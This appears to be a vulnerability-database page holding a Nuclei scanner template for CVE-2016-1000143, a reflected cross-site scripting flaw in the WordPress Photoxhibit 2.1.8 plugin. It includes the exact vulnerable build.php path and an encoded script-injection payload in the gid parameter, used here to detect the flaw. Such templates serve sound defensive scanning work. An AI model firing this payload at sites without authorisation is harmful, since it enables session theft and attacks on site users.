WordPress Photoxhibit 2.1.8 - Cross-Site Scripting

ID: CVE-2016-1000143

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,wp-plugin,xss,photoxhibit_project

Description

WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000143

info:
  name: WordPress Photoxhibit 2.1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of WordPress Photoxhibit or apply the official patch provided by the vendor.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=780
    - https://wordpress.org/plugins/photoxhibit
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000143
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000143
    cwe-id: CWE-79
    epss-score: 0.00142
    epss-percentile: 0.48963
    cpe: cpe:2.3:a:photoxhibit_project:photoxhibit:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "photoxhibit_project"
    product: photoxhibit
    framework: wordpress
  tags: cve2016,cve,wordpress,wp-plugin,xss,photoxhibit_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'PhotoXhibit'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000143.yaml"

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